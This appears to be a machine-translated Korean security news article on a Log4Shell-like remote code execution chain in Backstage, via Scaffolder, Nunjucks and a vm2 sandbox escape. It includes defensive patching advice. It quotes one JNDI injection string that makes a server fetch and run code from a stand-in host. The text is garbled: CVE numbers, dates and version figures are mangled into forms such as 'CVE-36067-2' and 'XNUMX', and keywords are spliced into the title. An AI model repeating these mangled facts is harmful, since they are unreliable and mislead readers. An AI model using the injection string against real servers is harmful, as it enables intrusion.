인기 있는 Backstage 개발 도구인 PlatoBlockchain Data Intelligence의 Log4Shell과 같은 코드 실행 구멍. 수직 검색. 일체 포함.

인기 있는 Backstage 개발 도구의 Log4Shell과 유사한 코드 실행 구멍

클라우드 코딩 보안 회사인 Oxeye의 연구원들은 최근 인기 있는 클라우드 개발 툴킷 Backstage에서 발견한 치명적인 버그를 작성했습니다.

그들의 신고 버그 작동 방식에 대한 설명과 이를 악용하는 방법을 보여주는 개념 증명(PoC) 코드가 포함되어 있습니다.

Backstage는 클라우드 개발자 포털로 알려진 것입니다. 웹 기반 API(애플리케이션 프로그래밍 인터페이스)를 쉽게 구축하여 비즈니스 내부 및 외부의 코더가 온라인 서비스와 상호 작용할 수 있도록 하는 일종의 비즈니스 로직 백엔드입니다.

원래 Spotify에서 만들었지만 지금은 프로젝트 자체의 말로 오픈 소스 GutHub에서:

Backstage는 개발자 포털 구축을 위한 개방형 플랫폼입니다. 중앙 집중식 소프트웨어 카탈로그로 구동되는 Backstage는 마이크로서비스 및 인프라의 순서를 복원하고 제품 팀이 자율성을 손상시키지 않고 고품질 코드를 신속하게 제공할 수 있도록 합니다.

Backstage는 모든 인프라 도구, 서비스 및 문서를 통합하여 처음부터 끝까지 간소화된 개발 환경을 만듭니다.

아니요, 그게 무슨 뜻인지는 정확히 모르지만 툴킷이 JavaScript로 작성되고 서버 측 JavaScript 시스템을 사용하여 실행된다는 것은 알고 있습니다. node.js, NPM 생태계에서 공급망 종속성 웹을 그립니다.

NPM은 약자입니다. 노드 패키지 관리자, 백엔드 JavaScript 코드가 암호화 및 데이터베이스 관리에서 로깅 및 버전 제어에 이르기까지 모든 것에 대해 널리 사용되는 미리 작성된 도우미 도구를 제공하는 광범위한 오픈 소스 라이브러리를 쉽게 사용할 수 있도록 보장하는 자동화된 툴킷입니다.

원격 코드 실행

안타깝게도 오늘 공개된 버그가 패치되지 않으면 인증되지 않은 외부인(느슨하게 서버에 API를 연결할 수 있는 모든 사람)이 네트워크의 비즈니스 로직 서버 내부에서 원격 코드 실행(RCE)을 트리거할 수 있는 방법을 제공할 수 있습니다.

그러나 다행스럽게도 Oxeye의 글을 올바르게 해석했다면 Backstage RCE에 대해 설명하는 공격은 궁극적으로 특정 버그에 의존하는 일련의 코딩 결함에 따라 달라집니다. CVE-2022-36067 Backstage가 vm2라는 공급망 구성 요소에 의존합니다.

궁금한 점이 있다면 vm2는 잠재적으로 위험한 JavaScript를 서버에서 실행하기에 좀 더 안전하게 만드는 것을 목표로 하는 "가상 머신 샌드박스"를 구현하는 범용 NPM 모듈입니다.

vm2022의 CVE-36067-2 버그는 신고 2022년 XNUMX월 Oxeye 자체(샌드박스에서 벗어났기 때문에 "Sandbreak"라는 PR 친화적인 이름을 부여함)에 의해 다시 돌아왔습니다. 즉시 패치 거의 2개월 전에 vmXNUMX 팀에 의해.

따라서 우리가 볼 수 있는 한 Backstage 사용자라면 Backstage 설정에서 위험에 처한 모든 구성 요소를 패치했는지 확인하고 싶을 것입니다…

…하지만 몇 달 전에 Sandbreak에 취약한 vm2 구성 요소를 패치했다면 Oxeye의 최신 공개에 설명된 익스플로잇에 직접적으로 취약하지 않은 것 같습니다.

또한 Backstage 서버가 좋은 사이버 보안 지침에 따라 구성되어 있고 네트워크 에지와 네트워크 내부 모두에서 인증이 필요한 경우 "유용한" 개인이 무작위로 "연구 목적으로만" 조사할 위험이 없습니다. 사이버 위협 "연구"에 관심이 있음을 보여주기 위해.

"에멘탈 치즈" 공격

간단히 말해서 새로 공개된 보안 문제는 일련의 보안 문제의 부작용입니다. 예를 들어 에멘탈 치즈 조각의 구멍은 공격자가 각 조각에 적어도 하나의 구멍을 정렬할 수 있는 경우 순차적으로 침투할 수 있습니다.

Backstage에는 이름에서 알 수 있듯이 개발자 커뮤니티에서 원하거나 필요할 수 있는 다양한 애드온(플러그인이라고 함)을 관리하는 데 도움이 되는 Scaffolder라는 구성 요소가 포함되어 있습니다.

Scaffolder는 Nunjucks로 알려진 Mozilla의 메시지 로깅 시스템을 사용합니다. 문자열 템플릿 in node.js 다음과 같이 원 문자열 보간 Java 세계에서 문자열 대체 Bash와 같은 명령 셸을 사용하는 시스템 관리자에게.

문자열 보간이 종을 울리는 경우 아마도 문자열 보간이 Log4Shell 2021년 XNUMX월의 취약성과 Follina의 2022년 중반 버그.

여기에서 문자열 템플릿의 특수 "코딩 문자"를 기반으로 로깅 메시지의 내용을 다시 작성하여 다음과 같은 문자열을 만들 수 있습니다. $USER 서버에서 사용 중인 계정 이름으로 대체될 수 있습니다. 또는 ${PID} 현재 프로세스 ID를 검색할 수 있습니다.

Log4Shell의 극단적인 경우, 이상하게 생긴 주문 ${jndi:ldap://example.com:8888/malware} 라는 프로그램을 다운로드하도록 서버를 직접 속일 수 있습니다. malwareexample.com 백그라운드에서 자동으로 실행합니다.

즉, 외부 사용자와 같은 신뢰할 수 없는 소스에서 도착하는 데이터가 사용할 문자열 템플릿 또는 문자열 보간 함수에 맹목적으로 전달되지 않도록 절대적으로 확인해야 합니다. 템플릿 텍스트 자체로.

예를 들어 원격 사용자가 자신의 사용자 이름을 다음과 같이 제공하여 서버를 속이려고 시도하는 경우 ${{RISKY}} (템플릿 라이브러리가 ${{...}} 특수 마커로), 로깅 코드가 장난스러워 보이는 텍스트를 받은 그대로 문자 그대로 기록하는지 확인해야 합니다.

...기록되는 텍스트가 기록 기능 자체를 제어하도록 허용하는 대신!

오래된 동요의 말을 빌리자면 “내 안에 구멍이 생겼어”라고 노래하지 않도록 해야 합니다. ${{BUCKET}}, 친애하는 라이자, 친애하는 라이자, 내 몸에 구멍이 났어 ${{BUCKET}}, 라이자에게. 구멍!”

안전담요에 싸서

공평하게 말하면 Nunjucks의 아마도 너무 강력한 템플릿/보간 기능은 Backstage에 의해 또 다른 공급망 구성 요소, 즉 악의적인 사용자가 부비로 할 수 있는 위험을 제한하는 앞서 언급한 샌드박싱 시스템 vm2 내부에 래핑됩니다. - 트랩된 입력 데이터.

불행히도 Oxeye 연구원들은 Backstage 서버에서 잠재적인 원격 코드 실행을 달성하기 위해 Backstage + Scaffolder + Nunjucks에서 새로 발견된 문자열 템플릿 코드 트리거 경로를 vm2022 보안 래퍼의 이전 CVE-36067-2 취약점과 페어링할 수 있었습니다. .

무엇을해야 하는가?

Backstage 사용자인 경우:

  • 최신 버전의 Backstage와 종속성이 있는지 확인하십시오. 를 포함한 plugin-scaffolder-backend 요소. Oxeye에 따르면 Backstage 코드의 관련 버그는 01년 2022월 2022일까지 패치되었으므로 해당 데이터 이후의 모든 공식 포인트 릴리스에는 수정 사항이 포함되어야 합니다. 작성 당시[11-1-16T00:XNUMXZ], 여기에는 Backstage가 포함됩니다. 1.6.0, 1.7.01.8.0, 2022-09-21, 2022-10-18 및 2022-11-15에 각각 출시되었습니다.
  • Backstage 설치에 예상대로 인증이 구성되어 있는지 확인하십시오. Oxeye는 ​​인증이 기본적으로 꺼져 있으며 백스테이지 가이드라인, 백엔드 서버(어쨌든 외부에 노출되지 않아야 함)는 여전히 인증되지 않은 액세스를 허용했습니다. 그것이 당신이 원하는 것일 수 있지만, 당신의 설정이 당신의 의도와 일치하는지 확인하는 이유로 이 문제를 사용하는 것이 좋습니다.
  • 인터넷에서 Backstage 인프라의 어느 부분에 연결할 수 있는지 확인하십시오. 다시 한 번, 최근에 수행하지 않은 경우 이 문제를 외부에서 자신의 네트워크를 스캔하는 이유로 사용하십시오.

node.js/NPM 사용자인 경우:

  • 최신 버전의 vm2 샌드박스 구성 요소가 있는지 확인하십시오. Backstage가 없더라도 사용하는 다른 소프트웨어의 종속 항목으로 설치했을 수 있습니다. CVE-2022-36067 취약점은 2022-08-28에 패치되었으므로 vm2 버전이 필요합니다. 3.9.11 이상.

당신이 프로그래머라면:

  • 강력한 로깅 기능을 호출할 때 최대한 방어적입니다. 강력한 템플릿/보간 기능이 포함된 로깅 서비스(Nunjucks 또는 Log4J 포함)를 사용하는 경우 실수로 악용되지 않도록 필요하지 않은 기능을 모두 끄십시오. 신뢰할 수 없는 입력 자체가 템플릿으로 사용되지 않도록 하여 공격자가 직접적으로 위험한 입력 문자열을 롤링하지 못하도록 합니다.
  • 다른 예방 조치에 관계없이 로깅 입력 및 출력을 삭제하십시오. 나중에 다른 사람이 로그 파일을 열어야 한다는 점을 기억하십시오. 스크립트 태그가 남아 있는 HTML 조각과 같이 나중에 문제를 일으킬 수 있는 부비트랩이 로그 파일에 기록되는 것을 허용하지 않습니다. (누군가 실수로 브라우저에서 파일을 열 수 있습니다.)

신뢰할 수 있는 출처에서 입력을 받은 경우에도 사용하기 전에 자체 위생 검사를 거치지 않을 이유가 거의 없습니다.

(예를 들어 성능상의 이유로 때때로 예외를 정당화할 수 있지만 규칙이 아니라 예외여야 합니다.)

첫째, 다시 확인하면 이전 코더가 선의로 만들었을 수 있는 오류를 발견하는 데 도움이 됩니다. 둘째, 생태계의 다른 부분이 손상된 경우 불량 데이터 또는 부비트랩 데이터의 확산을 제한하는 데 도움이 됩니다.

앞서 언급한 에멘탈 치즈 조각에 관한 문제는 모든 시트에 적어도 하나의 구멍이 일렬로 정렬되어 있으면 투과성이 있지만…

...전혀 정렬되지 않은 구멍이 있는 시트가 하나 이상 있으면 불침투성입니다!


타임 스탬프 :

더보기 노출 된 보안